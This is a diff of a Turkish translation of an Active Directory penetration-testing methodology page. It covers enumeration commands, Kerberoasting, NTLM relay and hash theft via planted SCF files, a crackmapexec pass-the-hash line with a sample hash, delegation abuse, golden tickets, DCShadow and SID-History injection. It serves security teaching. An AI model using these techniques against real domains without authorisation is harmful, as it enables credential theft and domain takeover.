Explorer**](bloodhound.md#ad-explorer)**,** [**ADRecon**](bloodhound.md#adrecon)**,** [**Group3r**](bloodhound.md#group3r)**,** [**PingCastle**](bloodhound.md#pingcastle)**.** @@ -96,9 +169,9 @@ Bir hesabı ele geçirmek, **tüm alanı ele geçirmeye başlamak için büyük - [**61106960/adPEAS**](https://github.com/61106960/adPEAS) - **Tüm alan kullanıcılarını çıkarmak** -Windows'tan tüm alan kullanıcı adlarını elde etmek çok kolaydır (`net user /domain`, `Get-DomainUser` veya `wmic useraccount get name,sid`). Linux'ta, `GetADUsers.py -all -dc-ip 10.10.10.110 domain.com/username` veya `enum4linux -a -u "user" -p "password" ` kullanabilirsiniz. +Windows'tan tüm alan kullanıcı adlarını elde etmek çok kolaydır (`net user /domain`, `Get-DomainUser` veya `wmic useraccount get name,sid`). Linux'ta şunları kullanabilirsiniz: `GetADUsers.py -all -dc-ip 10.10.10.110 domain.com/username` veya `enum4linux -a -u "user" -p "password" ` -> Bu Listeleme bölümü küçük görünse de, bu tüm sürecin en önemli kısmıdır. Bağlantılara erişin (özellikle cmd, powershell, powerview ve BloodHound olanlara), bir alanı nasıl listeleyeceğinizi öğrenin ve rahat hissettiğinizdeye kadar pratik yapın. Bir değerlendirme sırasında, bu DA'ya ulaşmak veya hiçbir şey yapılamayacağına karar vermek için ana an olacaktır. +> Bu Listeleme bölümü küçük görünse de, bu tümünün en önemli kısmıdır. Bağlantılara erişin (özellikle cmd, powershell, powerview ve BloodHound olanlara), bir alanı nasıl listeleyeceğinizi öğrenin ve rahat hissettiğinizdeye kadar pratik yapın. Bir değerlendirme sırasında, bu DA'ya ulaşmak veya hiçbir şey yapılamayacağına karar vermek için ana an olacaktır. ### Kerberoast @@ -118,7 +191,7 @@ Bazı kimlik bilgilerini elde ettikten sonra, herhangi bir **makineye** erişimi Eğer ele geçirilmiş kimlik bilgilerine veya bir oturuma sahipseniz ve bu kullanıcı ile **alan içindeki herhangi bir makineye erişiminiz varsa**, **yerel olarak yetki yükseltme yollarını bulmaya ve kimlik bilgilerini çalmaya** çalışmalısınız. Çünkü yalnızca yerel yönetici ayrıcalıkları ile **diğer kullanıcıların hash'lerini** bellekte (LSASS) ve yerel olarak (SAM) dökebilirsiniz. -Bu kitapta [**Windows'ta yerel yetki yükseltme**](../windows-local-privilege-escalation/) hakkında bir sayfa ve bir [**kontrol listesi**](../checklist-windows-privilege-escalation.md) bulunmaktadır. Ayrıca, [**WinPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite) kullanmayı unutmayın. +Bu kitapta [**Windows'ta yerel yetki yükseltme**](../windows-local-privilege-escalation/index.html) hakkında bir sayfa ve bir [**kontrol listesi**](../checklist-windows-privilege-escalation.md) bulunmaktadır. Ayrıca, [**WinPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite) kullanmayı unutmayın. ### Mevcut Oturum Biletleri @@ -132,7 +205,7 @@ Beklenmedik kaynaklara erişim izni veren **biletler** bulmanız çok **olasıl ``` ### NTML Relay -Eğer aktif dizini sıralamayı başardıysanız, **daha fazla e-posta ve ağ hakkında daha iyi bir anlayışa sahip olacaksınız**. NTML [**relay saldırılarını**](../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md#relay-attack)** gerçekleştirmeyi başarabilirsiniz.** +Eğer aktif dizini listelemeyi başardıysanız, **daha fazla e-posta ve ağ hakkında daha iyi bir anlayışa sahip olacaksınız**. NTML [**relay saldırılarını**](../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md#relay-attack)** gerçekleştirebilirsiniz.** ### **Bilgisayar Paylaşımlarında Kimlik Bilgilerini Arayın** @@ -142,7 +215,7 @@ Artık bazı temel kimlik bilgilerine sahip olduğunuza göre, **AD içinde payl ### NTLM Kimlik Bilgilerini Çal -Eğer **diğer PC'lere veya paylaşımlara erişiminiz varsa**, **dosyalar yerleştirebilirsiniz** (örneğin bir SCF dosyası) ve bu dosyalar bir şekilde erişildiğinde **sizinle NTML kimlik doğrulaması tetikleyecektir**, böylece **NTLM zorluğunu çalabilir** ve onu kırabilirsiniz: +Eğer **diğer PC'lere veya paylaşımlara erişiminiz varsa**, **dosyalar yerleştirebilirsiniz** (örneğin bir SCF dosyası) ve bu dosyalar bir şekilde erişildiğinde, **sizinle NTML kimlik doğrulaması tetikleyecektir** böylece **NTLM zorluğunu çalabilir** ve onu kırabilirsiniz: {{#ref}} ../ntlm/places-to-steal-ntlm-creds.md @@ -156,25 +229,25 @@ Bu güvenlik açığı, herhangi bir kimlik doğrulaması yapılmış kullanıc printnightmare.md {{#endref}} -## Aktif Dizin'de Yetki Yükseltme Özel Kimlik Bilgileri/Oturum ile +## Aktif Dizin'de Yetki Yükseltme ÖZEL yetkili kimlik bilgileri/oturum ile -**Aşağıdaki teknikler için normal bir alan kullanıcısı yeterli değildir, bu saldırıları gerçekleştirmek için bazı özel ayrıcalıklara/kimlik bilgilerine ihtiyacınız var.** +**Aşağıdaki teknikler için normal bir alan kullanıcısı yeterli değildir, bu saldırıları gerçekleştirmek için bazı özel yetkiler/kimlik bilgileri gereklidir.** ### Hash çıkarımı -Umarım [AsRepRoast](asreproast.md), [Password Spraying](password-spraying.md), [Kerberoast](kerberoast.md), [Responder](../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md) dahil olmak üzere bazı yerel yönetici hesaplarını **tehdit etmeyi başardınız**. [EvilSSDP](../../generic-methodologies-and-resources/pentesting-network/spoofing-ssdp-and-upnp-devices.md), [yerel olarak ayrıcalıkları yükseltme](../windows-local-privilege-escalation/).\ +Umarım [AsRepRoast](asreproast.md), [Password Spraying](password-spraying.md), [Kerberoast](kerberoast.md), [Responder](../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md) dahil olmak üzere relaying, [EvilSSDP](../../generic-methodologies-and-resources/pentesting-network/spoofing-ssdp-and-upnp-devices.md), [yerel olarak yetki yükseltme](../windows-local-privilege-escalation/index.html) kullanarak **bazı yerel yönetici** hesaplarını **tehlikeye atmayı** başardınız.\ Sonra, bellek ve yerel olarak tüm hash'leri dökme zamanı.\ [**Hash'leri elde etmenin farklı yolları hakkında bu sayfayı okuyun.**](https://github.com/carlospolop/hacktricks/blob/master/windows-hardening/active-directory-methodology/broken-reference/README.md) ### Hash'i Geç **Bir kullanıcının hash'ine sahip olduğunuzda**, onu **taklit etmek için** kullanabilirsiniz.\ -Bu **hash** ile **NTLM kimlik doğrulamasını gerçekleştirecek** bir **araç** kullanmalısınız, **veya** yeni bir **sessionlogon** oluşturup **bu hash'i** **LSASS** içine **enjekte** edebilirsiniz, böylece herhangi bir **NTLM kimlik doğrulaması yapıldığında**, o **hash kullanılacaktır.** Son seçenek, mimikatz'ın yaptığıdır.\ +Bu **hash** ile **NTLM kimlik doğrulamasını gerçekleştirecek** bir **araç** kullanmalısınız, **veya** yeni bir **sessionlogon** oluşturup **o hash'i** **LSASS** içine **enjekte** edebilirsiniz, böylece herhangi bir **NTLM kimlik doğrulaması yapıldığında**, o **hash kullanılacaktır.** Son seçenek, mimikatz'ın yaptığıdır.\ [**Daha fazla bilgi için bu sayfayı okuyun.**](../ntlm/index.html#pass-the-hash) -### Hash'i Aşma/Key'i Geç +### Hash'i Aş/ Anahtarı Geç -Bu saldırı, **kullanıcı NTLM hash'ini Kerberos biletleri talep etmek için kullanmayı** amaçlar; bu, yaygın Pass The Hash NTLM protokolüne alternatif olarak. Bu nedenle, bu özellikle **NTLM protokolünün devre dışı bırakıldığı** ve yalnızca **Kerberos'un** kimlik doğrulama protokolü olarak **izin verildiği** ağlarda **yararlı olabilir**. +Bu saldırı, **kullanıcı NTLM hash'ini Kerberos biletleri talep etmek için kullanmayı** amaçlar; bu, NTLM protokolü üzerinden yaygın Pass The Hash'e alternatif olarak. Bu nedenle, bu özellikle **NTLM protokolünün devre dışı bırakıldığı** ve yalnızca **Kerberos'un** kimlik doğrulama protokolü olarak **izin verildiği** ağlarda **yararlı olabilir**. {{#ref}} over-pass-the-hash-pass-the-key.md @@ -202,7 +275,7 @@ crackmapexec smb --local-auth 10.10.10.10/23 -u administrator -H 10298e182387f9c ### MSSQL Kötüye Kullanımı & Güvenilir Bağlantılar Bir kullanıcının **MSSQL örneklerine erişim** yetkisi varsa, MSSQL ana bilgisayarında **komutlar çalıştırmak**, NetNTLM **hash**'ini **çalmak** veya hatta bir **relay** **saldırısı** gerçekleştirmek için bunu kullanabilir.\ -Ayrıca, bir MSSQL örneği başka bir MSSQL örneği tarafından güvenilir (veritabanı bağlantısı) olarak işaretlenmişse ve kullanıcı güvenilir veritabanı üzerinde yetkilere sahipse, **güven ilişkisini kullanarak diğer örnekte de sorgular çalıştırabilecektir**. Bu güven ilişkileri zincirlenebilir ve bir noktada kullanıcı, komutları çalıştırabileceği yanlış yapılandırılmış bir veritabanı bulabilir.\ +Ayrıca, bir MSSQL örneği başka bir MSSQL örneği tarafından güvenilir (veritabanı bağlantısı) olarak işaretlenmişse ve kullanıcı güvenilir veritabanı üzerinde yetkilere sahipse, **güven ilişkisini kullanarak diğer örnekte de sorgular çalıştırabilecektir**. Bu güven ilişkileri zincirlenebilir ve bir noktada kullanıcı, komut çalıştırabileceği yanlış yapılandırılmış bir veritabanı bulabilir.\ **Veritabanları arasındaki bağlantılar, orman güvenleri arasında bile çalışır.** {{#ref}} @@ -211,7 +284,7 @@ abusing-ad-mssql.md ### Sınırsız Delegasyon -Eğer [ADS_UF_TRUSTED_FOR_DELEGATION]() niteliğine sahip herhangi bir Bilgisayar nesnesi bulursanız ve bilgisayarda alan yetkileriniz varsa, bilgisayara giriş yapan her kullanıcının TGT'sini bellekten dökme yeteneğine sahip olursunuz.\ +[ADS_UF_TRUSTED_FOR_DELEGATION]() niteliğine sahip herhangi bir Bilgisayar nesnesi bulursanız ve bilgisayarda alan yetkileriniz varsa, bilgisayara giriş yapan her kullanıcının bellekten TGT'lerini dökme yeteneğine sahip olursunuz.\ Yani, eğer bir **Domain Admin bilgisayara giriş yaparsa**, onun TGT'sini dökebilir ve [Pass the Ticket](pass-the-ticket.md) kullanarak onu taklit edebilirsiniz.\ Sınırlı delegasyon sayesinde, bir Yazıcı Sunucusunu **otomatik olarak ele geçirebilirsiniz** (umarım bu bir DC olacaktır). @@ -221,8 +294,8 @@ unconstrained-delegation.md ### Sınırlı Delegasyon -Eğer bir kullanıcı veya bilgisayara "Sınırlı Delegasyon" izni verilmişse, bu, **bir kullanıcının bir bilgisayardaki bazı hizmetlere erişmek için taklit edilmesine** olanak tanır.\ -Sonrasında, eğer bu kullanıcı/bilgisayarın **hash'ini ele geçirirseniz**, **herhangi bir kullanıcıyı** (hatta alan yöneticilerini) taklit ederek bazı hizmetlere erişebilirsiniz. +Bir kullanıcı veya bilgisayara "Sınırlı Delegasyon" izni verilmişse, bu, **bir kullanıcıyı taklit ederek bir bilgisayardaki bazı hizmetlere erişim** sağlayabilir.\ +Sonrasında, eğer bu kullanıcı/bilgisayarın **hash'ini ele geçirirseniz**, **herhangi bir kullanıcıyı** (hatta alan yöneticilerini) taklit ederek bazı hizmetlere erişim sağlayabilirsiniz. {{#ref}} constrained-delegation.md @@ -238,15 +311,15 @@ resource-based-constrained-delegation.md ### ACL'lerin Kötüye Kullanımı -Ele geçirilmiş bir kullanıcının, bazı alan nesneleri üzerinde **ilginç yetkilere** sahip olması, kullanıcının **yanal hareket etmesine**/**yetkileri yükseltmesine** olanak tanıyabilir. +Ele geçirilmiş bir kullanıcının, bazı alan nesneleri üzerinde bazı **ilginç yetkilere** sahip olması, kullanıcının **yanal hareket etmesine**/**yetkileri yükseltmesine** olanak tanıyabilir. {{#ref}} acl-persistence-abuse/ {{#endref}} -### Yazıcı Spooler Servisi Kötüye Kullanımı +### Yazıcı Spooler Hizmeti Kötüye Kullanımı -Alan içinde bir **Spool servisi dinliyorsa**, bu durum **yeni kimlik bilgileri edinmek** ve **yetkileri yükseltmek** için **kötüye kullanılabilir**. +Alan içinde bir **Spool hizmetinin dinlendiğini** keşfetmek, **yeni kimlik bilgileri edinmek** ve **yetkileri yükseltmek** için **kötüye kullanılabilir**. {{#ref}} printers-spooler-service-abuse.md @@ -254,7 +327,7 @@ printers-spooler-service-abuse.md ### Üçüncü Taraf Oturumlarının Kötüye Kullanımı -Eğer **diğer kullanıcılar** **ele geçirilmiş** makineye **erişirse**, bellekten **kimlik bilgilerini toplamak** ve hatta **onların süreçlerine beacon enjekte etmek** mümkün olabilir.\ +Eğer **diğer kullanıcılar** **ele geçirilmiş** makineye **erişirse**, bellekten **kimlik bilgilerini toplamak** ve hatta **onların süreçlerine beacon enjekte etmek** mümkündür.\ Genellikle kullanıcılar sisteme RDP aracılığıyla erişir, bu nedenle burada üçüncü taraf RDP oturumları üzerinde birkaç saldırı gerçekleştirme yöntemini bulabilirsiniz: {{#ref}} @@ -289,7 +362,7 @@ ad-certificates/domain-escalation.md ### Alan Kimlik Bilgilerini Dökme -Bir kez **Domain Admin** veya daha iyi bir **Enterprise Admin** yetkisi elde ettiğinizde, **alan veritabanını** dökebilirsiniz: _ntds.dit_. +**Domain Admin** veya daha iyi bir **Enterprise Admin** yetkisi elde ettiğinizde, **alan veritabanını** dökebilirsiniz: _ntds.dit_. [**DCSync saldırısı hakkında daha fazla bilgi burada bulunabilir**](dcsync.md). @@ -328,7 +401,7 @@ silver-ticket.md ### Altın Bilet -Bir **Altın Bilet saldırısı**, bir saldırganın Active Directory (AD) ortamında **krbtgt hesabının NTLM hash'ine** erişim sağlamasıdır. Bu hesap, AD ağında kimlik doğrulama için gerekli olan tüm **Ticket Granting Tickets (TGT'ler)** imzalamak için kullanıldığı için özeldir. +**Altın Bilet saldırısı**, bir saldırganın Active Directory (AD) ortamında **krbtgt hesabının NTLM hash'ine** erişim sağlamasıdır. Bu hesap, AD ağında kimlik doğrulama için gerekli olan tüm **Ticket Granting Tickets (TGT'ler)**'i imzalamak için kullanıldığı için özeldir. Saldırgan bu hash'i elde ettiğinde, istedikleri herhangi bir hesap için **TGT'ler** oluşturabilir (Gümüş bilet saldırısı). @@ -346,7 +419,7 @@ diamond-ticket.md ### **Sertifikalar Hesap Sürekliliği** -**Bir hesabın sertifikalarına sahip olmak veya bunları talep edebilmek**, kullanıcının hesabında sürekliliği sağlamak için çok iyi bir yoldur (şifreyi değiştirse bile): +**Bir hesabın sertifikalarına sahip olmak veya bunları talep edebilmek**, kullanıcı hesabında sürekliliği sağlamak için çok iyi bir yoldur (şifreyi değiştirse bile): {{#ref}} ad-certificates/account-persistence.md @@ -354,7 +427,7 @@ ad-certificates/account-persistence.md ### **Sertifikalar Alan Sürekliliği** -**Sertifikaları kullanarak, alan içinde yüksek yetkilerle sürekliliği sağlamak da mümkündür:** +**Sertifikaları kullanarak, alan içinde yüksek yetkilerle de süreklilik sağlamak mümkündür:** {{#ref}} ad-certificates/domain-persistence.md @@ -368,7 +441,7 @@ Active Directory'deki **AdminSDHolder** nesnesi, **yetkili grupların** (Domain ### DSRM Kimlik Bilgileri -Her **Domain Controller (DC)** içinde bir **yerel yönetici** hesabı bulunur. Böyle bir makinede yönetici hakları elde ederek, yerel Yönetici hash'ini **mimikatz** kullanarak çıkarabilirsiniz. Ardından, bu parolanın **kullanımını etkinleştirmek** için bir kayıt defteri değişikliği gereklidir; bu, yerel Yönetici hesabına uzaktan erişim sağlar. +Her **Domain Controller (DC)** içinde bir **yerel yönetici** hesabı bulunur. Böyle bir makinede yönetici hakları elde ederek, **mimikatz** kullanarak yerel Yönetici hash'ini çıkarabilirsiniz. Ardından, bu parolanın **kullanımını etkinleştirmek** için bir kayıt defteri değişikliği gereklidir; bu, yerel Yönetici hesabına uzaktan erişim sağlar. {{#ref}} dsrm-credentials.md @@ -376,7 +449,7 @@ dsrm-credentials.md ### ACL Sürekliliği -Belirli alan nesneleri üzerinde bir **kullanıcıya** bazı **özel izinler** verebilir ve bu, kullanıcının **gelecekte yetkileri yükseltmesine** olanak tanır. +Belirli alan nesneleri üzerinde bir **kullanıcıya** bazı **özel izinler** verebilir ve bu, kullanıcının gelecekte **yetkileri yükseltmesine** olanak tanır. {{#ref}} acl-persistence-abuse/ @@ -384,7 +457,7 @@ acl-persistence-abuse/ ### Güvenlik Tanımlayıcıları -**Güvenlik tanımlayıcıları**, bir **nesnenin** üzerinde **sahip olduğu izinleri** **saklamak** için kullanılır. Eğer bir nesnenin **güvenlik tanımlayıcısında** sadece **küçük bir değişiklik** yapabilirseniz, o nesne üzerinde, ayrıcalıklı bir grubun üyesi olmanıza gerek kalmadan çok ilginç yetkilere sahip olabilirsiniz. +**Güvenlik tanımlayıcıları**, bir **nesnenin** üzerinde sahip olduğu **izinleri** **saklamak** için kullanılır. Eğer bir nesnenin **güvenlik tanımlayıcısında** sadece **küçük bir değişiklik** yapabilirseniz, o nesne üzerinde, ayrıcalıklı bir grubun üyesi olmanıza gerek kalmadan çok ilginç yetkilere sahip olabilirsiniz. {{#ref}} security-descriptors.md @@ -409,8 +482,8 @@ custom-ssp.md ### DCShadow -AD'de **yeni bir Domain Controller** kaydeder ve belirli nesnelerde **özellikleri** (SIDHistory, SPN'ler...) **günlük bırakmadan** **itme** işlemi yapar. **DA** yetkilerine sahip olmanız ve **kök alan** içinde olmanız gerekir.\ -Yanlış veri kullanırsanız, oldukça kötü günlükler ortaya çıkacaktır. +AD'de **yeni bir Domain Controller** kaydeder ve belirli nesnelerde **özellikleri** (SIDHistory, SPN'ler...) **güncellemeleri** **log** bırakmadan **itme** işlemi yapar. **DA** yetkilerine sahip olmanız ve **kök alan** içinde olmanız gerekir.\ +Yanlış veri kullanırsanız, oldukça kötü loglar ortaya çıkacaktır. {{#ref}} dcshadow.md @@ -418,7 +491,7 @@ dcshadow.md ### LAPS Sürekliliği -Daha önce, **LAPS parolalarını okuma iznine sahip olduğunuzda** yetkileri nasıl yükseltebileceğimizi tartıştık. Ancak, bu parolalar **sürekliliği sağlamak** için de kullanılabilir.\ +Daha önce, **LAPS parolalarını okuma iznine sahip olduğunuzda** yetkileri nasıl yükseltebileceğimiz hakkında konuştuk. Ancak, bu parolalar **sürekliliği sağlamak** için de kullanılabilir.\ Kontrol edin: {{#ref}} @@ -431,34 +504,34 @@ Microsoft, **Ormanı** güvenlik sınırı olarak görmektedir. Bu, **tek bir al ### Temel Bilgiler -Bir [**alan güveni**](), bir **alan** kullanıcısının başka bir **alan** içindeki kaynaklara erişimini sağlayan bir güvenlik mekanizmasıdır. Temelde, iki alanın kimlik doğrulama sistemleri arasında bir bağlantı oluşturur ve kimlik doğrulama doğrulamalarının sorunsuz bir şekilde akmasına olanak tanır. Alanlar bir güven oluşturduğunda, güvenin bütünlüğü için kritik olan belirli **anahtarları** **Domain Controller'ları (DC'ler)** içinde değiş tokuş eder ve saklarlar. +Bir [**alan güveni**](), bir **alan** kullanıcısının başka bir **alan** içindeki kaynaklara erişimini sağlayan bir güvenlik mekanizmasıdır. Temelde, iki alanın kimlik doğrulama sistemleri arasında bir bağlantı oluşturur ve kimlik doğrulama doğrulamalarının sorunsuz bir şekilde akmasına olanak tanır. Alanlar bir güven oluşturduğunda, güvenin bütünlüğü için kritik olan belirli **anahtarları** **Domain Controller'ları (DC'ler)** arasında değiş tokuş eder ve saklar. -Tipik bir senaryoda, bir kullanıcı **güvenilir bir alandaki** bir hizmete erişmek istiyorsa, önce kendi alanının DC'sinden **inter-realm TGT** olarak bilinen özel bir bilet talep etmelidir. Bu TGT, her iki alanın üzerinde anlaştığı bir **anahtar** ile şifrelenmiştir. Kullanıcı, bu TGT'yi **güvenilir alanın DC'sine** sunarak bir hizmet bileti (**TGS**) alır. Güvenilir alanın DC'si inter-realm TGT'yi başarılı bir şekilde doğruladıktan sonra, kullanıcıya hizmete erişim izni veren bir TGS verir. +Tipik bir senaryoda, bir kullanıcı **güvenilir bir alandaki** bir hizmete erişmek istediğinde, önce kendi alanının DC'sinden **inter-realm TGT** olarak bilinen özel bir bilet talep etmelidir. Bu TGT, her iki alanın üzerinde anlaştığı bir **anahtar** ile şifrelenmiştir. Kullanıcı, bu TGT'yi **güvenilir alanın DC'sine** sunarak bir hizmet bileti (**TGS**) alır. Güvenilir alanın DC'si inter-realm TGT'yi başarılı bir şekilde doğruladıktan sonra, kullanıcıya hizmete erişim izni veren bir TGS verir. **Adımlar**: -1. **Domain 1**'deki bir **istemci bilgisayar**, **Domain Controller'ı (DC1)**'den **Ticket Granting Ticket (TGT)** talep etmek için **NTLM hash**'ini kullanarak süreci başlatır. +1. **Domain 1**'deki bir **istemci bilgisayar**, **Domain Controller (DC1)**'den **Ticket Granting Ticket (TGT)** talep etmek için **NTLM hash**'ini kullanarak süreci başlatır. 2. DC1, istemci başarılı bir şekilde kimlik doğrulandıysa yeni bir TGT verir. -3. İstemci, **Domain 2**'deki kaynaklara erişmek için DC1'den bir **inter-realm TGT** talep eder. -4. Inter-realm TGT, DC1 ve DC2 arasında iki yönlü alan güveni olarak paylaşılan bir **güven anahtarı** ile şifrelenmiştir. +3. İstemci, **Domain 2**'deki kaynaklara erişmek için gerekli olan **inter-realm TGT**'yi DC1'den talep eder. +4. Inter-realm TGT, DC1 ve DC2 arasında iki yönlü alan güveni kapsamında paylaşılan bir **güven anahtarı** ile şifrelenmiştir. 5. İstemci, inter-realm TGT'yi **Domain 2'nin Domain Controller'ı (DC2)**'ye götürür. 6. DC2, inter-realm TGT'yi paylaşılan güven anahtarı ile doğrular ve geçerli ise, istemcinin erişmek istediği Domain 2'deki sunucu için bir **Ticket Granting Service (TGS)** verir. 7. Son olarak, istemci bu TGS'yi sunucuya sunar; bu, sunucunun hesap hash'i ile şifrelenmiştir ve Domain 2'deki hizmete erişim sağlar. ### Farklı Güvenler -**Bir güvenin 1 yönlü veya 2 yönlü olabileceğini** belirtmek önemlidir. 2 yönlü seçeneklerde, her iki alan birbirine güvenecektir, ancak **1 yönlü** güven ilişkisi durumunda bir alan **güvenilir** ve diğeri **güvenen** alan olacaktır. Son durumda, **güvenilir alandan güvenen alandaki kaynaklara erişim sağlayabilirsiniz**. +**Bir güvenin 1 yönlü veya 2 yönlü** olabileceğini belirtmek önemlidir. 2 yönlü seçeneklerde, her iki alan birbirine güvenecektir, ancak **1 yönlü** güven ilişkisi durumunda bir alan **güvenilir** ve diğeri **güvenen** alan olacaktır. Son durumda, **güvenilir alandan güvenen alana** yalnızca güvenen alan içindeki kaynaklara erişim sağlayabilirsiniz. -Eğer Alan A, Alan B'ye güveniyorsa, A güvenen alan ve B güvenilir alandır. Ayrıca, **Alan A**'da bu bir **Çıkış güveni**; ve **Alan B**'de bu bir **Giriş güveni** olacaktır. +Eğer Alan A, Alan B'ye güveniyorsa, A güvenen alan ve B güvenilir alandır. Ayrıca, **Alan A**'da bu bir **Çıkış güveni**; **Alan B**'de ise bu bir **Giriş güveni** olacaktır. **Farklı güvenen ilişkileri** -- **Anaç-Çocuk Güvenleri**: Bu, aynı orman içinde yaygın bir yapılandırmadır; burada bir çocuk alanı otomatik olarak ana alanı ile iki yönlü geçişli bir güvene sahiptir. Temelde, bu, kimlik doğrulama taleplerinin ana ve çocuk arasında sorunsuz bir şekilde akabileceği anlamına gelir. +- **Ana-Çocuk Güvenleri**: Bu, aynı orman içinde yaygın bir yapılandırmadır; burada bir çocuk alanı otomatik olarak ana alanı ile iki yönlü geçişli bir güvene sahiptir. Temelde, kimlik doğrulama talepleri ana ve çocuk arasında sorunsuz bir şekilde akabilir. - **Çapraz Bağlantı Güvenleri**: "Kısa yol güvenleri" olarak adlandırılan bu güvenler, referans süreçlerini hızlandırmak için çocuk alanları arasında kurulur. Karmaşık ormanlarda, kimlik doğrulama referanslarının genellikle orman köküne kadar gitmesi ve ardından hedef alana inmesi gerekir. Çapraz bağlantılar oluşturarak, yolculuk kısaltılır; bu, coğrafi olarak dağılmış ortamlarda özellikle faydalıdır. - **Dış Güvenler**: Farklı, alakasız alanlar arasında kurulan bu güvenler doğası gereği geçişli değildir. [Microsoft'un belgelerine]() göre, dış güvenler, mevcut ormanın dışında, orman güveni ile bağlı olmayan bir alandaki kaynaklara erişim için yararlıdır. Güvenlik, dış güvenlerle SID filtrelemesi ile artırılır. - **Ağaç-kök Güvenleri**: Bu güvenler, orman kök alanı ile yeni eklenen bir ağaç kökü arasında otomatik olarak kurulur. Genellikle karşılaşılmasa da, ağaç-kök güvenleri, yeni alan ağaçlarını bir ormana eklemek için önemlidir; bu, benzersiz bir alan adı korumalarına ve iki yönlü geçişliliği sağlamalarına olanak tanır. Daha fazla bilgi [Microsoft'un kılavuzunda]() bulunabilir. -- **Orman Güvenleri**: Bu tür bir güven, iki orman kök alanı arasında iki yönlü geçişli bir güvendir ve güvenlik önlemlerini artırmak için SID filtrelemesi uygular. -- **MIT Güvenleri**: Bu güvenler, Windows dışındaki, [RFC4120 uyumlu](https://tools.ietf.org/html/rfc4120) Kerberos alanları ile kurulur. MIT güvenleri, Windows ekosisteminin dışındaki Kerberos tabanlı sistemlerle entegrasyon gerektiren ortamlara yönelik daha özel bir yapıdadır. +- **Orman Güvenleri**: Bu tür bir güven, iki orman kök alanı arasında iki yönlü geçişli bir güven olup, güvenlik önlemlerini artırmak için SID filtrelemesi uygular. +- **MIT Güvenleri**: Bu güvenler, Windows dışındaki [RFC4120 uyumlu](https://tools.ietf.org/html/rfc4120) Kerberos alanları ile kurulur. MIT güvenleri, Windows ekosisteminin dışındaki Kerberos tabanlı sistemlerle entegrasyon gerektiren ortamlara yönelik daha özel bir yapıdadır. #### **Güvenen ilişkilerdeki diğer farklılıklar** @@ -474,11 +547,11 @@ Eğer Alan A, Alan B'ye güveniyorsa, A güvenen alan ve B güvenilir alandır. Saldırganlar, başka bir alandaki kaynaklara erişim sağlamak için üç ana mekanizma kullanabilir: -- **Yerel Grup Üyeliği**: İlkeler, makinelerdeki yerel gruplara eklenebilir; örneğin, bir sunucudaki “Yöneticiler” grubu, onlara o makine üzerinde önemli kontrol sağlar. +- **Yerel Grup Üyeliği**: İlkeler, makinelerdeki yerel gruplara eklenebilir; örneğin, bir sunucudaki "Yönetici" grubu, onlara o makine üzerinde önemli kontrol sağlar. - **Yabancı Alan Grup Üyeliği**: İlkeler, yabancı alandaki grupların üyeleri de olabilir. Ancak, bu yöntemin etkinliği güvenin doğasına ve grubun kapsamına bağlıdır. -- **Erişim Kontrol Listeleri (ACL'ler)**: İlkeler, özellikle bir **DACL** içindeki **ACE'ler** olarak belirli kaynaklara erişim sağlamak için bir **ACL**'de belirtilmiş olabilir. ACL'ler, DACL'ler ve ACE'ler hakkında daha derinlemesine bilgi edinmek isteyenler için “[An ACE Up The Sleeve](https://specterops.io/assets/resources/an_ace_up_the_sleeve.pdf)” başlıklı beyaz kağıt değerli bir kaynaktır. +- **Erişim Kontrol Listeleri (ACL'ler)**: İlkeler, belirli kaynaklara erişim sağlamak için bir **ACL**'de belirtilmiş olabilir; özellikle **DACL** içindeki **ACE'ler** olarak. ACL'ler, DACL'ler ve ACE'ler hakkında daha derinlemesine bilgi edinmek isteyenler için “[An ACE Up The Sleeve](https://specterops.io/assets/resources/an_ace_up_the_sleeve.pdf)” başlıklı beyaz kağıt değerli bir kaynaktır. -### Çocuktan Anaç Orman Yetki Yükseltmesi +### Çocuktan Ana Orman Yetki Yükseltmesi ``` Get-DomainTrust @@ -491,7 +564,7 @@ WhenCreated : 2/19/2021 1:28:00 PM WhenChanged : 2/19/2021 1:28:00 PM ``` > [!WARNING] -> **2 güvenilir anahtar** vardır, biri _Child --> Parent_ için ve diğeri _Parent_ --> _Child_ için.\ +> **2 güvenilir anahtar** vardır, biri _Child --> Parent_ ve diğeri _Parent_ --> _Child_ için.\ > Mevcut alan tarafından kullanılanı şu şekilde alabilirsiniz: > > ```bash @@ -501,7 +574,7 @@ WhenChanged : 2/19/2021 1:28:00 PM #### SID-History Injection -SID-History enjeksiyonunu kullanarak çocuk/ebeveyn alanına Enterprise admin olarak yükselme: +SID-History enjeksiyonunu kullanarak çocuk/ebeveyn alanına Enterprise admin olarak yükseltin: {{#ref}} sid-history-injection.md @@ -509,17 +582,17 @@ sid-history-injection.md #### Yazılabilir Configuration NC'yi istismar etme -Configuration Naming Context (NC)'nin nasıl istismar edilebileceğini anlamak çok önemlidir. Configuration NC, Active Directory (AD) ortamlarında bir orman genelinde yapılandırma verileri için merkezi bir depo görevi görür. Bu veriler, ormandaki her Domain Controller (DC) ile çoğaltılır ve yazılabilir DC'ler, Configuration NC'nin yazılabilir bir kopyasını tutar. Bunu istismar etmek için, bir DC üzerinde **SYSTEM ayrıcalıklarına** sahip olmak gerekir, tercihen bir çocuk DC. +Configuration Naming Context (NC) nasıl istismar edileceğini anlamak çok önemlidir. Configuration NC, Active Directory (AD) ortamlarında bir orman genelinde yapılandırma verileri için merkezi bir depo görevi görür. Bu veriler, ormandaki her Domain Controller (DC) ile çoğaltılır ve yazılabilir DC'ler, Configuration NC'nin yazılabilir bir kopyasını tutar. Bunu istismar etmek için, bir DC üzerinde **SYSTEM ayrıcalıklarına** sahip olmak gerekir, tercihen bir çocuk DC. -**GPO'yu kök DC alanına bağlama** +**GPO'yu kök DC alanına bağlayın** Configuration NC'nin Sites konteyneri, AD ormanındaki tüm alan bağlı bilgisayarların alanları hakkında bilgi içerir. Herhangi bir DC üzerinde SYSTEM ayrıcalıkları ile çalışan saldırganlar, GPO'ları kök DC alanlarına bağlayabilir. Bu eylem, bu alanlara uygulanan politikaları manipüle ederek kök alanı tehlikeye atabilir. -Derinlemesine bilgi için, 